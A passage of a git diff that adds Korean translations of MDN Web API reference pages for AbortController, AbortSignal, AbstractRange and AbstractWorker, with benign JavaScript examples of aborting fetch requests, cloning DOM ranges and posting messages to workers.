+<p>먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.</p>
+
+<p><a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch 요청</a>을 시작할 때, 요청의 옵션 객체 내부에 <code>AbortSignal</code> 옵션을 전달한다(아래의 <code>{signal}</code> 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>노트</strong>: <code>abort()</code>가 호출되면, <code>fetch()</code> promise는 <code dir="ltr">AbortError</code>으로 명명된 <code dir="ltr">DOMException</code>과 함께 reject된다.</p>
+</div>
+
+<p>동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> 참고(<a href="https://mdn.github.io/dom-examples/abort-api/">라이브 실행도 확인할 수 있다</a>).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortController")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="https://developers.google.com/web/updates/2017/09/abortable-fetch">Abortable Fetch</a> by Jake Archibald</li>
+</ul>
diff --git a/files/ko/web/api/abortcontroller/signal/index.html b/files/ko/web/api/abortcontroller/signal/index.html
new file mode 100644
index 0000000000..1c67045b85
--- /dev/null
+++ b/files/ko/web/api/abortcontroller/signal/index.html
@@ -0,0 +1,89 @@
+---
+title: AbortController.signal
+slug: Web/API/AbortController/signal
+tags:
+  - API
+  - AbortController
+  - Fetch
+  - 레퍼런스
+  - 신호
+  - 실험적
+  - 프로퍼티
+translation_of: Web/API/AbortController/signal
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>{{domxref("AbortController")}} 인터페이스의 <strong><code>signal</code></strong> 읽기 전용 프로퍼티는 DOM 요청과 통신하거나 취소하는데 사용하는 {{domxref("AbortSignal")}} 객체 인터페이스를 반환한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">var signal = abortController.signal;</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("AbortSignal")}} 객체 인터페이스.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a>를 사용해 비디오를 다운로드하는 것을 목표로 한다.</p>
+
+<p>먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.</p>
+
+<p><a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch 요청</a>을 시작할 때, 요청의 옵션 객체 내부에 <code>AbortSignal</code> 옵션을 전달한다(아래의 <code>{signal}</code> 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>노트</strong>: <code>abort()</code>가 호출되면, <code>fetch()</code> promise는 <code dir="ltr">AbortError</code>과 함께 reject된다.</p>
+</div>
+
+<p>동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> 참고(<a href="https://mdn.github.io/dom-examples/abort-api/">라이브 실행도 확인할 수 있다</a>).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-signal', 'signal')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortController.signal")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/abortsignal/aborted/index.html b/files/ko/web/api/abortsignal/aborted/index.html
new file mode 100644
index 0000000000..edced40d38
--- /dev/null
+++ b/files/ko/web/api/abortsignal/aborted/index.html
@@ -0,0 +1,64 @@
+---
+title: AbortSignal.aborted
+slug: Web/API/AbortSignal/aborted
+tags:
+  - API
+  - AbortSignal
+  - aborted
+  - 레퍼런스
+  - 실험적
+  - 프로퍼티
+translation_of: Web/API/AbortSignal/aborted
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>aborted</code></strong> 읽기 전용 프로퍼티는 신호가 통신하는 DOM 요청이 취소되었는지(<code>true</code>) 그렇지 않은지(<code>false</code>)를 나타내는 {{domxref("Boolean")}}을 반환한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">var isAborted = abortSignal.aborted;</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("Boolean")}}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 새로운 <code>AbortController</code> 객체를 생성하고 {{domxref("AbortSignal")}}를 얻는다(<code>signal</code> 프로퍼티에서 가능). 그 다음 <code>aborted</code> 프로퍼티를 사용해 신호가 취소되었는지 확인하고 콘솔로 적절한 로그를 전송한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+// ...
+
+signal.aborted ? console.log('Request has been aborted') : console.log('Request not aborted');
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-abortsignal-onabort', 'onabort')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortSignal.aborted")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/abortsignal/index.html b/files/ko/web/api/abortsignal/index.html
new file mode 100644
index 0000000000..70d4dff9c1
--- /dev/null
+++ b/files/ko/web/api/abortsignal/index.html
@@ -0,0 +1,107 @@
+---
+title: AbortSignal
+slug: Web/API/AbortSignal
+tags:
+  - API
+  - AbortSignal
+  - DOM
+  - 레퍼런스
+  - 실험적
+  - 인터페이스
+translation_of: Web/API/AbortSignal
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>AbortSignal</code></strong> 인터페이스는 DOM 요청(Fetch와 같은)과 통신하고 필요한 경우 {{domxref("AbortController")}} 객체를 통해 취소할 수 있게 해주는 신호 객체를 나타낸다.</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>AbortSignal 인터페이스는 또한 부모 인터페이스 {{domxref("EventTarget")}}으로부터 프로퍼티를 상속받는다.</em></p>
+
+<dl>
+ <dt>{{domxref("AbortSignal.aborted")}} {{readonlyInline}}</dt>
+ <dd>신호가 통신하는 요청이 취소되었는지(<code>true</code>) 그렇지 않은지(<code>false</code>)를 나타내는 {{domxref("Boolean")}}.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p><code><a href="/ko/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>를 사용하거나 이 인터페이스의 <code>on<em>eventname</em></code> 프로퍼티로 이벤트 리스너를 할당하여 이벤트를 리슨한다.</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/AbortSignal/abort_event">abort</a></code></dt>
+ <dd>신호가 통신하는 요청이 취소되었을 때 호출된다. <code><a href="/ko/docs/Web/API/AbortSignal/onabort">onabort</a></code> 프로퍼티를 통해서도 사용이 가능하다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>AbortSignal 인터페이스는 부모인 {{domxref("EventTarget")}}로부터 메소드를 상속받는다.</em></p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a>를 사용해 비디오를 다운로드하는 것을 목표로 한다.</p>
+
+<p>먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.</p>
+
+<p><a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch 요청</a>을 시작할 때, 요청의 옵션 객체 내부에 <code>AbortSignal</code> 옵션을 전달한다(아래의 <code>{signal}</code> 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>노트</strong>: <code>abort()</code>가 호출되면, <code>fetch()</code> promise는 <code dir="ltr">AbortError</code>과 함께 reject된다.</p>
+</div>
+
+<div class="warning">
+<p>현재 버전의 Firefox는 <code>DOMException</code>으로 promise를 reject한다.</p>
+</div>
+
+<p>동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> 참고(<a href="https://mdn.github.io/dom-examples/abort-api/">라이브 실행도 확인할 수 있다</a>).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-AbortSignal', 'AbortSignal')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortSignal")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="https://developers.google.com/web/updates/2017/09/abortable-fetch">Abortable Fetch</a> by Jake Archibald</li>
+</ul>
diff --git a/files/ko/web/api/abstractrange/collapsed/index.html b/files/ko/web/api/abstractrange/collapsed/index.html
new file mode 100644
index 0000000000..fdb2136dd2
--- /dev/null
+++ b/files/ko/web/api/abstractrange/collapsed/index.html
@@ -0,0 +1,46 @@
+---
+title: AbstractRange.collapsed
+slug: Web/API/AbstractRange/collapsed
+translation_of: Web/API/AbstractRange/collapsed
+---
+<p>{{APIRef("DOM WHATWG")}}</p>
+
+<p>{{domxref("AbstractRange")}}의 범위가 축소된 read-only 속성은 범위의 시작 위치와 끝 위치가 같을 경우 true를 반환합니다.  </p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">var <em>isCollpased</em> = <em>range</em>.collapsed</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>범위가 축소된 경우 true인 {{jsxref("Boolean")}}값을 반환합니다.  축소된 범위는 시작 위치와 종료 위치가 동일하며, 문자 길이가 0인 범위입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명시</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-collapsed', 'collapsed')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Static Range','#dom-AbstractRange-collapsed','collapsed')}}</td>
+   <td>{{Spec2('Static Range')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 checkout 하고 pull request를 보내주십시오.</p>
+
+<p>{{Compat("api.AbstractRange.collapsed")}}</p>
diff --git a/files/ko/web/api/abstractrange/index.html b/files/ko/web/api/abstractrange/index.html
new file mode 100644
index 0000000000..8a46663643
--- /dev/null
+++ b/files/ko/web/api/abstractrange/index.html
@@ -0,0 +1,199 @@
+---
+title: AbstractRange
+slug: Web/API/AbstractRange
+tags:
+  - API
+  - Abstract
+  - Abstract Interface
+  - AbstractRange
+  - DOM
+  - DOM API
+  - Interface
+  - NeedsTranslation
+  - Range
+  - Reference
+  - TopicStub
+translation_of: Web/API/AbstractRange
+---
+<div>{{APIRef("DOM WHATWG")}}</div>
+
+<p><span class="seoSummary">The <strong><code>AbstractRange</code></strong> abstract interface is the base class upon which all {{Glossary("DOM")}} range types are defined. A <strong>range</strong> is an object that indicates the start and end points of a section of content within the document.</span></p>
+
+<p>As an abstract interface, you will not directly instantiate an object of type <code>AbstractRange</code>. Instead, you will use the {{domxref("Range")}} or {{domxref("StaticRange")}} interfaces. To understand the difference between those two interfaces, and how to choose which is appropriate for your needs.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("AbstractRange.collapsed", "collapsed")}} {{ReadOnlyInline}}</dt>
+ <dd>A Boolean value which is <code>true</code> if the range is <strong>collapsed</strong>. A collapsed range is one whose start position and end position are the same, resulting in a zero-character-long range.</dd>
+ <dt>{{domxref("AbstractRange.endContainer", "endContainer")}} {{ReadOnlyInline}}</dt>
+ <dd>The DOM {{domxref("Node")}} in which the end of the range, as specified by the <code>endOffset</code> property, is located.</dd>
+ <dt>{{domxref("AbstractRange.endOffset", "endOffset")}} {{ReadOnlyInline}}</dt>
+ <dd>An integer value indicating the offset, in characters, from the beginning of the node's contents to the beginning of the range represented by the range object. This value must be less than the length of the <code>endContainer</code> node.</dd>
+ <dt>{{domxref("AbstractRange.startContainer", "startContainer")}} {{ReadOnlyInline}}</dt>
+ <dd>The DOM {{domxref("Node")}} in which the beginning of the range, as specified by the <code>startOffset</code> property, is located.</dd>
+ <dt>{{domxref("AbstractRange.startOffset", "startOffset")}} {{ReadOnlyInline}}</dt>
+ <dd>An integer value indicating the offset, in characters, from the beginning of the node's contents to the last character of the contents referred to  by the range object. This value must be less than the length of the node indicated in <code>startContainer</code>.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>AbstractRange</code> interface offers no methods.</em></p>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<h3 id="Range_types">Range types</h3>
+
+<p>All ranges of content within a {{domxref("Document", "document")}} are described using instances of interfaces based on <code>AbstractRange</code>. There are two such interfaces:</p>
+
+<dl>
+ <dt>{{domxref("Range")}}</dt>
+ <dd>The <code>Range</code> interface has been around for a long time and has only recently been redefined to be based upon <code>AbstractRange</code> as the need arose to define other forms of range data. <code>Range</code> provides methods that allow you to alter the range's endpoints, as well as methods to compare ranges, detect intersections beween ranges, and so forth.</dd>
+ <dt>{{domxref("StaticRange")}}</dt>
+ <dd>A <code>StaticRange</code> is a basic range which cannot be changed once it's been created. Specifically, as the node tree mutates and changes, the range does not. This is useful when you need to specify a range that will only be used once, since it avoids the performance and resource impact of the more complex {{domxref("Range")}} interface.</dd>
+</dl>
+
+<h3 id="Contents_of_elements">Contents of elements</h3>
+
+<p>When trying to access the contents of an element, keep in mind that the element itself is a node, but so is any text inside it. In order to set a range endpoint within the text of an element, be sure to find the text node inside the element:</p>
+
+<pre class="brush: js notranslate">let startElem = document.querySelector("p");
+let endElem = startElem.querySelector("span");
+let range = document.createRange();
+
+range.setStart(startElem, 0);
+range.setEnd(endElem, endElem.childNodes[0].length/2);
+let contents = range.cloneContents();
+
+document.body.appendChild(contents);
+</pre>
+
+<p>This example creates a new range, <code>rng</code>, and sets its starting point to the third child node of the first element whose class is <code>elementclass</code>. The end point is set to be the middle of the first child of the span, and then the range is used to copy the contents of the range.</p>
+
+<h3 id="Ranges_and_the_hierarchy_of_the_DOM">Ranges and the hierarchy of the DOM</h3>
+
+<p>In order to define a range of characters within a document in a way that is able to span across zero or more node boundaries, and which is as resilient as possible to changes to the DOM, you can't simply specify the offset to the first and last characters in the {{Glossary("HTML")}}. There are a few good reasons for that.</p>
+
+<p>First, after your page is loaded, the browser simply isn't thinking in terms of HTML. Once it's been loaded, the page is a tree of DOM {{domxref("Node")}} objects, so you need to specify the beginning and ending locations of a range in terms of nodes and positions within nodes.</p>
+
+<p>Second, in order to support the mutability of the DOM tree as much as possible, you need a way to represent positions relative to nodes in the tree, rather than simply global positions within the entire document. By defining points within the document as offsets within a given node, those positions remain consistent with the content even as nodes are added to, removed from, or moved around within the DOM tree—within reason. There are fairly obvious limitations (such as if a node is moved to be after the endpoint of a range, or if the content of a node is heavily altered), but it's far better than nothing.</p>
+
+<p>Third, using node-relative positions to define the start and end positions will generally be easier to make perform well. Rather than having to negotiate the DOM figuring out what your global offset refers to, the {{Glossary("user agent")}} (browser) can instead go directly to the node indicated by the starting position and start from there, working its way forward until it reaches the given offset into the ending node.</p>
+
+<p>To illustrate this, consider the HTML below:</p>
+
+<pre class="brush: html notranslate">&lt;div class="container"&gt;
+  &lt;div class="header"&gt;
+    &lt;img src="" class="sitelogo"&gt;
+    &lt;h1&gt;The Ultimate Website&lt;/h1&gt;
+  &lt;/div&gt;
+  &lt;article&gt;
+    &lt;section class="entry" id="entry1"&gt;
+      &lt;h2&gt;Section 1: An interesting thing...&lt;/h2&gt;
+      &lt;p&gt;A &lt;em&gt;very&lt;/em&gt; interesting thing happened on the way to the forum...&lt;/p&gt;
+      &lt;aside class="callout"&gt;
+        &lt;h2&gt;Aside&lt;/h2&gt;
+        &lt;p&gt;An interesting aside to share with you...&lt;/p&gt;
+      &lt;/aside&gt;
+    &lt;/section&gt;
+  &lt;/article&gt;
+  &lt;pre id="log"&gt;&lt;/pre&gt;
+&lt;/div&gt;</pre>
+
+<p>After loading the HTML and constructing the DOM representation of the document, the resulting DOM tree looks like this:</p>
+
+<p><a href="https://mdn.mozillademos.org/files/16886/SimpleDOM.svg"><img alt="Diagram of the DOM for a simple web page" src="https://mdn.mozillademos.org/files/16887/SimpleDOM.svg" style="height: 683px; width: 640px;"></a></p>
+
+<p>In this diagram, the nodes representing HTML elements are shown in green. Eah row beneath them shows the next layer of depth into the DOM tree. Blue nodes are text nodes, containing the text that gets shown onscreen. Each element's contents are linked below it in the tree, potentially spawning a series of branches below as elements include other elements and text nodes.</p>
+
+<p>If you want to create a range that incorporates the contents of the {{HTMLElement("p")}} element whose contents are <code>"A &lt;em&gt;very&lt;/em&gt; interesting thing happened on the way to the forum..."</code>, you can do so like this:</p>
+
+<pre class="brush: js notranslate">let pRange = document.createRange();
+pRange.selectNodeContents(document.querySelector("#entry1 p"));
+</pre>
+
+<p>Since we wish to select the entire contents of the <code>&lt;p&gt;</code> element, including its descendants, this works perfectly.</p>
+
+<p>If we wish to instead copy the text "An interesting thing..." from the {{HTMLElement("section")}}'s heading (an {{HTMLElement("h2")}} element) through the end of the letters "ve" in the {{HTMLElement("em")}} within the paragraph below it, the following code would work:</p>
+
+<pre class="brush: html notranslate">let r = document.createRange();
+let startNode = document.querySelector("section h2").childNodes[0];
+r.setStart(startNode, 11);
+
+let endNode = document.querySelector("#entry1 p em").childNodes[0];
+r.setEnd(endNode, 2);
+
+let fragment = r.cloneContents();
+</pre>
+
+<p>Here an interesting problem arises—we are capturing content from multiple nodes located at different levels of the DOM hierarchy, and then only part of one of them. What should the result look like?</p>
+
+<p>As it turns out, the DOM specification fortunately addresses this exact issue. For example, in this case, we're calling {{domxref("Range.cloneContents", "cloneContents()")}} on the range to create a new {{domxref("DocumentFragment")}} object providing a DOM subtree which replicates the contents of the specfied range. To do this, <code>cloneContents()</code> constructs all the nodes needed to preserve the structure of the indicated range, but no more than necessary.</p>
+
+<p>In this example, the start of the specified range is found within the text node below the section's heading, which means that the new <code>DocumentFragment</code> will need to contain an {{HTMLElement("h2")}} and, below it, a text node.</p>
+
+<p>The range's end is located below the {{domxref("p")}} element, so that will be needed within the new fragment. So will the text node containing the word "A", since that's included in the range. Finally, an <code>&lt;em&gt;</code> and a text node below it will be added below the <code>&lt;p&gt;</code> as well.</p>
+
+<p>The contents of the text nodes are then determined by the offsets into those text nodes given when calling {{domxref("Range.setStart", "setStart()")}} and {{domxref("Range.setEnd", "setEnd()")}}. Given the offset of 11 into the heading's text, that node will contain "An interesting thing...". Similarly, the last text node will contain simply "ve", given the request for the first two characters of the ending node.</p>
+
+<p>The resulting document fragment looks like this:</p>
+
+<p><img alt="A DocumentFragment representing the cloned content" src="https://mdn.mozillademos.org/files/16891/dom-fragment.svg" style="height: 319px; width: 463px;"></p>
+
+<p>Notice especially that the contents of this fragment are all <em>below</em> the shared common parent of the topmost nodes within it. The parent <code>&lt;section&gt;</code> is not needed to replicate the cloned content, so it is isn't included.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Consider this simple HTML fragment of HTML.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;&lt;strong&gt;This&lt;/strong&gt; is a paragraph.&lt;/p&gt;</pre>
+
+<p id="JavaScript">Imagine using a {{domxref("Range")}} to extract the word "paragraph" from this. The code to do that looks like the following:</p>
+
+<pre class="brush: js notranslate">let paraNode = document.querySelector("p");
+let paraTextNode = paraNode.childNodes[1];
+
+let range = document.createRange();
+range.setStart(paraTextNode, 6);
+range.setEnd(paraTextNode, paraTextNode.length-1);
+
+let fragment = range.cloneContents();
+document.body.appendChild(fragment);
+</pre>
+
+<p>First we get references to the paragraph node itelf as well as to the <em>second</em> child node within the paragraph. The first child is the {{HTMLElement("strong")}} element. The second child is the text node " is a paragraph.".</p>
+
+<p>With the text node reference in hand, we create a new <code>Range</code> object by calling {{domxref("Document.createRange", "createRange()")}} on the <code>Document</code> itself. We set the starting position of the range to the sixth character of the text node's string, and the end position to the length of the text node's string minus one. This sets the range to encompass the word "paragraph".</p>
+
+<p>We then finish up by calling {{domxref("Range.cloneContents", "cloneContents()")}} on the <code>Range</code> to create a new {{domxref("DocumentFragment")}} object which contains the portion of the document encompassed by the range. After that, we use {{domxref("Node.appendChild", "appendChild()")}} to add that fragment at the end of the document's body, as obtained from {{domxref("document.body")}}.</p>
+
+<p>The result looks like this:</p>
+
+<p>{{EmbedLiveSample("Example", 600, 80)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#abstractrange', 'AbstractRange')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.AbstractRange")}}</p>
diff --git a/files/ko/web/api/abstractworker/index.html b/files/ko/web/api/abstractworker/index.html
new file mode 100644
index 0000000000..c31abaa6c1
--- /dev/null
+++ b/files/ko/web/api/abstractworker/index.html
@@ -0,0 +1,83 @@
+---
+title: AbstractWorker
+slug: Web/API/AbstractWorker
+tags:
+  - API
+  - Abstract
+  - AbstractWorker
+  - Interface
+  - Reference
+  - Web Workers
+  - Web Workers API
+  - Worker
+  - 워커
+  - 웹 워커
+translation_of: Web/API/AbstractWorker
+---
+<div>{{ APIRef("Web Workers API") }}</div>
+
+<p><a href="/ko/docs/Web/API/Web_Workers_API">Web Workers API</a>의 <strong><code>AbstractWorker</code></strong> 인터페이스는 기본적인 {{domxref("Worker")}}에 더해 {{domxref("ServiceWorker")}}와 {{domxref("SharedWorker")}}까지, 모든 유형의 워커에 공통된 속성과 메서드를 정의하는 추상 인터페이스입니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>AbstractWorker</code> 인터페이스는 어떠한 속성도 상속하지 않습니다.</p>
+
+<h3 id="이벤트_처리기">이벤트 처리기</h3>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd><span style="line-height: 1.5;"><code>error</code> 유형의 {{domxref("ErrorEvent")}}가 워커로 확산되면 호출할 {{domxref("EventListener")}}입니다.</span></dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>AbstractWorker</code> 인터페이스는 어떠한 메서드도 구현하거나 상속하지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>AbstractWorker</code>는 추상 인터페이스므로 코드 내에서 직접 사용할 일은 없습니다. 대신, <code>AbstractWorker</code>를 상속하는 {{domxref("Worker")}} 또는 {{domxref("SharedWorker")}}를 사용할 것입니다.</p>
+
+<p>다음 코드는 {{domxref("Worker.Worker", "Worker()")}} 생성자를 사용해 새로운 <code>Worker</code>를 생성한 후 워커로 메시지를 전송하는 것을 보입니다.</p>
+
+<pre class="brush: js notranslate">var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value, second.value]);
+  console.log('Message posted to worker');
+}</pre>
+
+<p>위 워커의 코드는 "<code>worker.js</code>" 파일에서 불러오며, <code>first</code>로 표현한 {{htmlelement("input")}} 요소가 존재하는 상황을 가정하여, {{event("change")}} 이벤트 처리기를 부착해 사용자가 <code>first</code>의 값을 바꿀 때마다 워커에 메시지를 전송해 바뀐 값을 알려줍니다.</p>
+
+<p>MDN 웹 문서 GitHub 저장소에 더 많은 예제가 준비돼있습니다.</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/simple-web-worker">기본적인 전용 워커 예제</a> (<a href="http://mdn.github.io/simple-web-worker/">실행</a>)</li>
+ <li><a href="https://github.com/mdn/simple-shared-worker">기본적인 공유 워커 예제</a> (<a href="http://mdn.github.io/simple-shared-worker/">실행</a>)</li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("api.AbstractWorker")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Worker")}}와 {{domxref("SharedWorker")}} 이런 특징을 물려받고 있습니다.</li>
+</ul>
diff --git a/files/ko/web/api/analysernode/index.html b/files/ko/web/api/analysernode/index.html
new file mode 100644
index 0000000000..a76feaf59c
--- /dev/null
+++ b/files/ko/web/api/analysernode/index.html
@@ -0,0 +1,164 @@
+---
+title: AnalyserNode
+slug: Web/API/AnalyserNode
+tags:
